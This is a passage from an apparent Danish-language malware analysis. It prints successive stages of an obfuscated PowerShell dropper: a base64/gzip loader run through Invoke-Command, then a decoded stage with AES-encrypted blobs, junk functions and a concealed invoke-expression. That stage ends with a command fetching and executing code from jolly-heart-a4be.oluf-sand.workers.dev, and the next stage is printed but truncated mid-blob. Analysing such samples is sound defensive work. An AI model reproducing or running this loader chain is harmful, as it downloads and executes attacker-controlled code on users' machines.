oftMYlRLSySdLHZm9vjYXy2347XgezSjp+6emE1tuLlay2GhpysKScalOhrgemT7IqX1R7VIWMXImJ1Kl8nw4HX5V7Q8xQEvDQG2xJOqSGrdOaW6sKHRipUAnW5bIVzsiq7IjkqN6SbhcliEraMBEmFdu251QZekKrtiex9HXmxNSZeySPm1xPq3wIr1FzobAUo+cLpuk1x7eXDO8dd8Bv182odoPSaEKgu+pEnZlUA4R9utQN3MRUD84AXE/CobexXkouzrK43nBZUQnDu6tht1ndBrtzT2nYqOPNG5vSc2lAoFdB4fv0QVIuedBfz61hq+e8d6E1VdCMe5DPdmXC6e6qTIkYLk5ITESiuVRCTgN8JGzqym56B2+0Au7OPFk3CNlMLn6xoPM+9cCBkVaJazU8Rp4tkQw3NXy3q0iDgCzumiWhNV0otLjhpI4qpouGF2HmzJSsunxKc/iozseabibeua33Htu7p2uQXrjCyk4mZ0s34VKGNDh9wHAkVMeXNTg/oi/hGeVD3Lc6wc4SMjEyZtZkaTGA7fUBPY2evBP94hLCLxLRr2L37pvndLxfFmU7g8v7aaYPcfDxy+NY0ze//vjp0xsQ3vdoAD+/CQCyPn47NmVedR8/m3YT3/3/Y2Hn/ueH7/sgNpT323m/+/bj/28HcMOrJ9Ca9b5aZPOHX/LSi4NXKLmL8Tw99ZTkdZLqJ2F+euL/IpTkzx//Q7BfQI7ngn3k/0Owv/T6ZwEBlAEoBE/9rs8ArPPvHKA1/ab74+9/34HxWLv1CUx/nP368po7OPXVxndg//986iXZ/bDYPT3v7sr7xz+NGbCkQLbfPoEuPq0+deDtg3f+HXzoW64HXxp478HbmL9z99/XowE+VV6zwddRAB8zeH+/X/n3PnLmwIAv3t98+hVoCwzczb/9459fPuWqB9q3n77+9hZY98E2Pe5Ax81cdWXY2FUELuIKnCJRSs8HM+FY7tePR9u7kzv/y3Ovu14PHiVOJ3/9yGaAW9FBCvYb2PT8Clbt8Rvkw79++RSbQJaX8n+Hvn+H8T9+/W+wik5Z3o/THfzxm+okvtt9/MdLac//vn/5lPrX+7PPJfjwlssAx9K+bwsXrDM4pff3v5+NHfUdWMJ7EV4Pu0ANjX9XUud728fVfDTUh66/fvn63QB0SxuA3HEXgxMljxl8eYn5N5j42+vn98wvwi76BhNf74/E+Zff75uuP6Cv//qvL1/+K/z8+ZObf/r45dP/AR2D9+fp89evv8N/fP0Qj83Hb+fWBxYCTm6AZOpufAlIn+Zv97DcfbMxx/9eZn3wrQUp0vd7zgk2JN89f1j3lQfS5TVOkT7uEc43BELcb+DADPSNdgPsGxQEDkEiDoFgzr9if/rw4X8A8tUh9tcoAAA="
$bytes = [Convert]::FromBase64String($dat)
$ms = New-Object IO.MemoryStream(,$bytes)
$gs = New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gs,[Text.Encoding]::UTF8)
$result = $sr.ReadToEnd()
Invoke-Command -ScriptBlock ([scriptblock]::Create($result)) -ArgumentList @("sour", "precision")

Efter at have dekodet og dekomprimeret dataen, får vi følgende PowerShell kode:

param (
    [string]$cow = '',
    [string]$fugato = ''
)
$pack = 'B9yxT'

function reactant([int]$i) {
    inexpensive($i+55290)
    health($i+19051)
    heavy($i+38932)
    squeal($i+22609)
    panel($i+53813)
    vanish($i+17317)
    improvise($i+65220)
    victory($i+44959)
    gem($i+26706)
    extend($i+33203)
    plead($i+65238)
}

$cultivar = '9Z7xulaVl2b1GnWeRRBYT4nxKxr1M9LAc1MCfp+ru4j3N0CC24LewdbQiBwVyznDweapd6tOIyUqSLDV2/SAw8btu3uE1NhPitIUxch9Ht8lwA+rW3vGLL+lRqgEi6uqsmpHj4pyC9fA0oEd6rkKh3wluMlXDCD9q44nq0CCI5FU8RsApk7RljZnmoADgpyutYk67/43leuoKhbXhVELF07+KJKpZWBMadSaY5BBpF4vvlijlP8wveo2ENtN8ICxN0HsCiVjRQdSpzgjjUmaSTEBm7Bcultj9eV/+zUTtl7Xw2N6wzwLnj8T2a9+Ygnx5bDS2YhC/quCdaEof5kcDcHXMKkLBHqU6+HHapuImj2S+HAflh5zFMYnxvGUEMhmC/6PqLAiA9nX+9L01ZqMCDtdQh+7aikd1P2/OWCHLJJ8aH9QkH1wKeHmsjdLA3UxXWHshogBtAve0YszNZjcArBEQoGXzGsQrThRsxV0ogsKu3ZYxCs/UkbVjpVoDHMM4SENNaytZ42AMQTEfV0rLJeFF4tbqpoA51SCbGyzRvLqsBJevYfauTOcGggi0fT5amwVzWeRgcAXt5NRzt3FvN30KW5vugdGAije83hYaxpOAsWM2L096CA7xNM1Hk4vX2iIw9iJG7GNHiCb3PxVuiQX0QJsP6/2Iz+FIqAlZX0PPlasLEGaIZzpSeVI1rbdn01IxJS+k0VDb3FfhCDEA6U8GsAzwhOVSxwRLVtTB47QVa9f'

$precision = '/F3kF8RyMOHT4mrSVBNSHbXJA+7G6kAagtE7dSzHkUM='

function pride([int]$i) {
    ale($i+48511)
    panther($i+29000)
    seed($i+27850)
    exultant($i+5084)
    tacky($i+2085)
    wave($i+59434)
    start($i+63922)
    independent($i+33913)
    boatyard($i+58060)
    bow($i+44219)
    mislead($i+64694)
    someplace($i+43528)
    huge($i+34379)
    adrenaline($i+55782)
    hand-holding($i+27515)
}

$team = 'jCqlOupTcpByiAcYmrtL9YdJK4dyRWrAanZhxve5s0GT0PctWjNaUD7hvWmTfjKn1kw0SBXWR3PhKZbXlFfm0AQIobY3nGqqPryzY6g+41vLeK8fWG4PP1UIcqBFgIbQW0bgSp9UAbHjpKnV7M+3S+LFOLWZOfzrjDfcOHjVPXVQT3KPVRZ3fskcHSaKK6b2icP+IWQHcpzgzI2wsPwkKrVtjj1iV6hGhjyWU+X1GMD/Hd7FSsW/mFdjLQVYhKMyAmLZpAKbss53MvPEcql7Ah5ktlKQXf6a77ALcuFyTBcN0rvTft1Shcfyg16SwA1534QOqETL9fQP9/V/s0QypLPuKqTTxZQit2RuIo3oR+9fm9btolskpKC+SzcEQhshs+70h6D1v+KxL03VBrxURae1z5jRDFFBjgJmzctzmEv1ZFErn0Q555Jln3KSbtDyvlLI+jch+VBsTdCHio09JF2yyd7tBf6MT9u1/ZS73VT+8ASAjJkAAaGgTSSI8KB6S8bwqtBgisE1Xu7FYKwCnqygmHszGA=='

$future = 50281

$raid = 'nBhhJlW88L9ji/rPHkSLGm35yFQBDh5NNH8CTxOfSnJ2ah6sNIemutN51PVXgJ2copQSPjsq+MgV2G7QLbkLt2GO7QIxvwrwilHGyapRTx9kTfytAfASsC6CqePDVQxDZgxwj2kXKGaf4K2oVaxdXzdRezYn2RvLC9vkbDbxeGwM/cIyCWL/Ec5uN3hl9JFDSDgVh9fEQQ5bdGdqHeabENWG7i8DjPoy/8GvpmqIFAy7bmsv7yXBke5kx8ZJI7WE4CdaJH35r6DG8tgZY6Mi4kLA4hSm2B8hLuf0RcbS2VHgunrxban6urk6l694Wwj8ahNyfBnA023VVEAFokNEXcgOnEmmH5mGQG1tYa0fVAImDnQVi3cHIjwBUb4IZVgE0ucACS/AAZDZK8vdlsLJgUpBoa5F2kzmGP4odN9lxnwolwD7n8FIwlnJ+WVuqK8CfuIM8PkgqAy+si+nZ9xrTYeYsqua'

$hub = 'ZKIADxmEYEpAZc4iP63CAO6Vl46/ASbXhOITxEsBnKLmPhU/JIVHDLgvBS6cY1sTvw6qQX+FUyN5iEw8xB1pDJd0idOfM0UxOL1o7mY4yf5sRmP2l0HPALIsm9LAgyKph1IiHOrLqrYHKYPAlX8f7vGgvGwm2/GMORK4AKdVZRNI8wfZZAYcQx0u311OdVgATD6zglv5k/L28+HzoNjU83EOkpkUEIR1ulp0hqClCG7iGIImvcVnnYX3NgXk7wkCa30Cui73u5s9qknA2SJqL5KSlO5VBlauW27bpMlcuJ9gh5MU3oa7OSAMTedNQZPWi3ZIIYctyfWokQFfEBw4UQdrJHPUW2l460U+yH4Babc0r60XgTiprVueUYBFqBx5fa1VKbATrgH6Wo6fnE5N+HJ53MdBmc9KM/74C9qEhtFY97I00RPUg8G+DD2whV27vKHqPGgimc6POnydAJunmHzUqd+CLZ30m/WORG7zoO8/mnM4dXUl/v1/BD8rWB6bNZ3NDPkTeEIowPY+qm5KY8TbpBgBILo05h0bmhTwedtApG8MELQLA5cffzop0fQbnTKHBFcVJT73IOe4hIE62cLwk6dtWrmB+NP3wKv7XPx/3cwXg49cAroQy/brvAe9RrNKJHCXJHm0wsqlpfNmAYydEmL89kOlW9QtJOpl1y+1rg8FAGM7GtxBRRIyzX3fAGxmLBDC5G8Pc7lqKjStvuEEBp7ITOmi6WWG144U6G4c9+OqtpHJMOIR9DkBqm/ZCGoxYvS8dXvkJHPN7yJZsGhU2Hrqx51tpChFPxQ7H1ECgVlaB6aPJc1hjE/IyRywzzzqV+3U6BSdd/57Rd5jWg9Q60FJ1A1rllxo8eQss23tiXY4KDuZtzu4MWLWUHQJuaiwRav5PfDFUgj5w2tiNWjNGb1YpW59hOvkCUthRVXfsJqqP563Gt8QC4sDvHUY5DJJ/f23cyjpT59awMRpqEZJNBvw+EUCh3y5NS1sYUx6GyKMpJVmJJ2MrzV5QthW2H628jQBjIzqVt6PxW6/1DNZRZfTCZGfEpFyJLkMgdruRSILkWnRQI+LgrXt9BmRqi6RfT2gj6APEM9nynHjN3dEx2xs6EUMAdkqR6hfrDelC0O6URR9wX88nmyy970iXH0FcM3Ok9vXChMTC0EOHJJNde8CHH6g0c2RDC8TMQdha0SNb1HL+WqPuFSedJ+udnl4drO1N+3RRLRWbLRKgHOVaNHtJsmEqo6nen72tGUB3K0v6eJfEpLpYGR3661T/ZkGOp6ePgLQpydzzjV3R6IcbeYVg13nY9ZOAZDbyKhzF8Nky+3rC4T5/cH4aJ2v5BSFQoY1hhPKGmauVoo5ALMHZmb+Nw+hx99A6b8/R9qa6Rqxuh76IDS921bXk0qH/9K8vwbFcm+nsVuBMP5i1MtOqXdmceDjnPJFbRU4GZW14xAWHKCnEg8RBmoS2+sjyzV/KDB3vG/O9o0K6qWnaGw6VW6hk8JGxpOwxMrMx1kz3CqGF4bw7xT2LTMH0yxikovjbrePWANLFta6E8zbh6+zHVr5oZ+5ieuZnCUKSznrsQwJtnjPmXtQC6iob9LxlKDzlvNANi1dPF4qL2eROkk3lFgOI55XEg=='

$first = 'Wqy'

$tanker = 'kRGNCMScyy0BG0w+R2k/Na1zBQLdt7x5vSPQVewlO0y5bEOBpyK/hBuyeNVuNdb/mxqtDtw1/MvzqjRz5xXkhMNS9p1/DAgA2jnoIBZipCbonwqqZbI9ZbISx4sjhuQzVMnYBAQ/WDTY+8pkJyh1MonvNhLid6DyjMtRP40/aVSZ7x6peN/UUy0JIir0Ffq9C1nQCy0fCLAgGzTVr/V+ZzmuReZHrBKS+V4Bm19CXDaysYQ83ErvD6dVTQY6V9NncQT0agJbGX3cw3s0eWqfw3VkGCoDftGdznqEFRTtxH/9nxHCTAIplLYeYzaHpwrhdUZAu5ZZtwtxYJXnRtvNqY46fp+ShGyYdgKKT4B/YGNmIyIFi46oBv2ZKF2WeDJ7BnMVKZq6YJhn8RmJ8bqI/Qcsr/+tv694z4f8W8pkl2qviOqhSjRyXYmvS46dslLcxnBetVL2nagQFk0rl/1wqGlKg1jijLVAc4Yn2TC7zD948mSb9Oh/b3qCBzEtQ8Ut7lhkSx8QELjysqsvoeJsJq9T685qBJdOVxQM8T2rcW+ETRVSuZEPrWIYmfs4V6kvlJ/T+vw1fUNSwORTYfhHe6Vc/9/OYfGx7oWZwcTxW0zWM95UMdU7T8xDBbJFm3gRDM5PCjSdFHAAjwL2Wor/G1CRGrqieSfvP99IsKZJOHmciC2uy+7M5PeDHAzzgee3iG/Mh19ZczcEjM7okAyPIAsH3zpKEd25JrUrV6Z0uusKe2bmppTDOOGUByzmGP5ULgJnEplVANdOLJs07CUs8YHZ1mBUR8+vAdOEK54lG3QZCf03neSHg9lRNIonWGYkHbXZ38WiisqQc9Y5AaJYAWbng5G5VvjgMGm0brnRmfKPsQE/C5QgLYWGJ6h9GTFo22djdNPoGZCPsmpHDaxI3tqqUKwmCk/Y+N0Yfugs4nisf4iWl8LVK252szvTPlXVXmTuvPdp2NWleQrszgRfc3rVMNm7oSLxmrjF+mIAsc+WvbtCwKGjnH9Qa8SGan7tyKDYUltueMAlUnubBgaU59RGDEy4ubMFgh5+F7wRhuqpFEWnQepyvdnN/zRfLaq/CFmr3y3dT6KJppq3168GbL+MwV6DWh6s0O8iYRisBa2wk9PgCpzSVuU='

function envious([int]$i) {
    abounding($i+18347)
    respite($i+39701)
    debt($i+59482)
    antecedent($i+6065)
    hydroxyl($i+5252)
    accept($i+48422)
}

$trouble = 'mm6I00jG1EtUlBvMYB8K'

$son = 3815

function cassock([int]$i) {
    midden($i+47992)
    orator($i+2354)
    patience($i+14240)
    heel($i+4923)
    tree($i+496)
    exception($i+23482)
    bun($i+617)
    strand($i+46746)
    quiet($i+47060)
    curriculum($i+16110)
    stencil($i+61195)
    egg($i+32566)
}

function toffee([int]$i) {
    actor($i+65426)
    squalid($i+38176)
    accuracy($i+55227)
    frequency($i+691)
    impairment($i+25113)
    whorl($i+43559)
    warden($i+28694)
    desk($i+56127)
    day($i+10657)
    pollution($i+23548)
    skate($i+3605)
    swan($i+54232)
    successful($i+13949)
    vulgar($i+64430)
}

$sour = 'S2z5lEz62YgM5spK6wpA0c2DARJk/geo9+y4IjG2oak1Zs/7yc8wMbVl4/KMqwVQL6WsWqjwXXNOgGyMJulNORj7zNBGdzaqTxR/gEMgYSrzlk7VcL7uJ5d+pxcoRq+5HJX+sIPY9j7W4j/qVBehRoKZeW+BFz5NSXp1i2w4suFUGbdh0FScfk59upild4mV1HzD9I1GMOs0ksRh4ZbgRd4N/t1WHAuqeKiCG2jYn47+GASwIt8OvNLtDiX4/0Dpm+2wRJTlcDLQG48XXKHLlm4gmC0G5fRPzJLChGmxWldBjKowMEyo5/Ow9f6FT5l7OQEofj6fee7O0VzdKNl0rhqZ9XUaNfupCBc1jj0gu1e+zzPZdohzof2u/wl+1zTslPkbC3YzySBmufHQVG1d/OXvlWMTghvk3OIs0l9SMjf3SJSgtKZKGLGloKFAzJ5y'

function demonic([int]$i) {
    van($i+55784)
    economics($i+48566)
    weed($i+11128)
    depressive($i+16381)
    zampone($i+43219)
    alien($i+40794)
    puma($i+53379)
    overcharge($i+29759)
    carpeting($i+46614)
    chaplain($i+62796)
}

function brow([int]$i) {
    subset($i+65072)
    cork($i+22404)
    octopus($i+32149)
    large($i+3413)
    emu($i+3533)
    berserk($i+41838)
    bonsai($i+26584)
    poker($i+47192)
    pan($i+7983)
    perfume($i+9029)
    towering($i+29183)
    verse($i+39129)
}

function blush([int]$i) {
    uplift($i+40490)
    airbag($i+25685)
    adapter($i+44307)
    mend($i+33526)
    laparoscope($i+58654)
    sky($i+47273)
}

function population([int]$i) {
    board($i+47673)
    cricketer($i+55540)
    vivo($i+63501)
    structure($i+26531)
    suburb($i+14703)
    consonant($i+33406)
    excite($i+19618)
    relate($i+35184)
    antique($i+60545)
}

function broad([int]$i) {
    cream($i+28435)
    normalize($i+17492)
    sender($i+14883)
    spot($i+1015)
    gator($i+27898)
    workout($i+7274)
    conifer($i+16831)
    ski($i+44682)
    map($i+53320)
    cat($i+39757)
    bunch($i+20836)
    hail($i+55206)
    cob($i+64965)
    crack($i+23987)
    snack($i+45599)
    possess($i+56083)
    cob($i+29742)
    implication($i+50956)
    parsnip($i+45719)
}

$college = 'd1XTIr'

function dose([int]$i) {
    standoff($i+54336)
    precedence($i+35821)
    seek($i+13810)
    wee($i+48821)
    head($i+7284)
    hay($i+44324)
    station($i+27381)
    manufacturing($i+65219)
    ferryboat($i+42238)
    let($i+27799)
    vote($i+2888)
    roster($i+347)
    iris($i+7377)
    pink($i+45999)
    logic($i+53735)
    hash($i+23411)
    principle($i+35633)
}

function arrest([int]$i) {
    shearling($i+6313)
    brake($i+46058)
    honorable($i+15677)
}

$hike = 'RqxubPXoRbL2TIHswF7QXwc4zTIHpKpIsa24AtqUreFoopPRTP2WhOILQjeyUy54VZRITlMp7nFWW53ICdAMb95wZBcEPr664JVvk3ljimLWFIKBlkzEFO61G0Lr2DgMIpk6+ZOL7ixwW9juyOwJG9/WUEgNJQad4EpzSbvuaGbRhhCTTg2a3v5QLR0jcYv+GwnxemnMyxsOxncspWl+Anp/vgxbracIx6a+aS/ZpjXI4bPu8tbYNfEW68ix3s2z0OvjpT9SlJKgqjttJErnojQ4MfbcdC8YA9pBhPchtY+EKXgPSwBt61eq5xNETEr7fTLxtUeKCypTta3Rvot7wAUHxi+u6v/4FFbdAIxWCV0f3KP0/5K2JWlxKSwrIaETz8esuEwYvVpjtGzu9j9SsXWj+ER3gC1KMQqVM8YNAujlpmzOawOHl7+JjKtOGukvNeOLuTJl37tWrD4zjt2q1WQ/C/OM9fTkHpHWXXEHU2+ot6jPOZjtFhj2O7a16gjpBssUkMvu6RpEQJoeSAQAqlcP7PDmSkpmvgYhrX84k49yX4RSqCGsXl5ubcv5ZYDwOtvMrRHfScOx8UAkRD2wkzqr1ri8uevYYQHNua4uKjXbzzcdvX+8jAGc+vFD+ZvatcQkgrOwZdwrodc9XPxpfnee9NKMXmfuYUsTaOUmuc0/8n9AcNLUapV1kFYMxjJgzbg6x6jRc8j7xv1P6a8YBDub5rRn1tUG7qr27rxc5XW0UIkd3wlsMiqOgPhdaK7ACxrGtFp7T60WCYljgWxX83nZ57S3MVc3gXHyCVk7ptmxkm1POyPq9rxGbZ/IdBucQYfkXCnWlQVCaKZHXog9PlaAC70qiX/eo2SzgU3Gg5eWtHalj7jTlAyRLKzT0Ovuf9xwdLFJenXg1g=='

$epic = 'Ukw'

$nosy = $cow
if ($cow -eq "") {
    $nosy = Read-Host -Prompt 'Variable name'
}

$employ = Get-Variable -Name $nosy -ValueOnly
$modification = $fugato
if ($fugato -eq "") {
    $modification = Read-Host -Prompt 'Key Variable name'
}
$percent = Get-Variable -Name $modification -ValueOnly
$hiking = [System.Convert]::FromBase64String($employ)
$sister = [System.Convert]::FromBase64String($percent)
$poverty = @{TypeName="Sys"+"t"+"e"+"m."+"SECu"+"R"+"I"+"Ty.CR"+"YPT"+"OGRa"+"PH"+"y"+".a"+"es"+"mANA"+"GeD";Property=@{("mOd"+"E")=[System.Security.Cryptography.CipherMode]::CBC; Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; BlockSize=128;KeySize=256;("iV")=$hiking[0..15];}}
$book = New-Object @poverty
$book.("keY")=$sister
[System.Text.Encoding]::UTF8.GetString($book.("c"+"reA"+"tedEc"+"ryPTO"+"R")().TransformFinalBlock($hiking,16,$hiking.length-16)).Trim([char]0)|&((&g''"cm" ("?"+"?"+'x'))[1])
iwr -UseBasicParsing jolly-heart-a4be.oluf-sand.workers.dev/update/587e5d6b-202c-4690-9cf4-0ffb672b624b|iex

Her er der igen en forspørgsel til jolly-heart-a4be.oluf-sand.workers.dev/update/587e5d6b-202c-4690-9cf4-0ffb672b624b, ved at lave en GET request igen får vi følgende svar:

param (
    [string]$hum = '',
    [string]$hood = ''
)
$cool = 'c1dOTat5fnlq0vk619S2eMF+tZRoY2UyovCrwqxgS44='

$olive = 11820

$run = '1GWZL7Tm'

function fen([int]$i) {
    sculptural($i+46380)
    weave($i+60834)
    awake($i+16352)
    apple($i+56265)
    truck($i+43544)
    dinner($i+42751)
    halloween($i+10907)
    cap($i+4286)
    skean($i+5482)
    mare($i+41384)
    squid($i+31260)
    lay($i+3479)
}

function horn([int]$i) {
    roll($i+24578)
    fiberglass($i+17916)
    interval($i+24624)
    side($i+16902)
    charter($i+2057)
    queen($i+61646)
    effector($i+8731)
    gnu($i+56615)
    team($i+14771)
    cymbal($i+40122)
    nephew($i+45748)
    bag($i+55104)
}

function ferret([int]$i) {
    perp($i+25624)
    zip($i+6443)
    keyboard($i+29339)
    boom($i+61989)
    zipper($i+63293)
    joke($i+40437)
    rice($i+3266)
    rush($i+33772)
    fresco($i+18770)
    amount($i+34161)
}

function wed([int]$i) {
    pince_nez($i+54134)
    blush($i+4645)
    frigate($i+11984)
}

$cannon = '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'

function orchid([int]$i) {
    slimy($i+14152)
    familiarity($i+37212)
    worried($i+18299)
    entree($i+14606)
    exposition($i+29364)
    underclothes($i+52426)
    ornament($i+56489)
    hatchling($i+16377)
    savory($i+15669)
    wit($i+39930)
    cravat($i+31434)
    resemblance($i+2433)
    carving($i+12259)
    pup($i+32737)
    standoff($i+14183)
    percentage($i+9289)
    van($i+15532)
    walnut($i+19032)
    bat($i+747)
}

function core([int]$i) {
    hugger($i+34221)
    seep($i+49482)
    maternity($i+3156)
    bother($i+36300)
    armpit($i+52120)
    chart($i+30010)
    edger($i+29491)
    used($i+39016)
    creek($i+59324)
    gerbil($i+21200)
}

function upstairs([int]$i) {
    madam($i+38753)
    shelter($i+57843)
    vol($i+15108)
    SUV($i+10754)
    local($i+47023)
    female($i+12117)
    nail($i+29856)
    clarification($i+18458)
    be($i+59857)
    spectacles($i+42150)
    monger($i+60052)
    span($i+57330)
    bun($i+8659)
    dining($i+54253)
    clasp($i+21075)
}

$swordfish = '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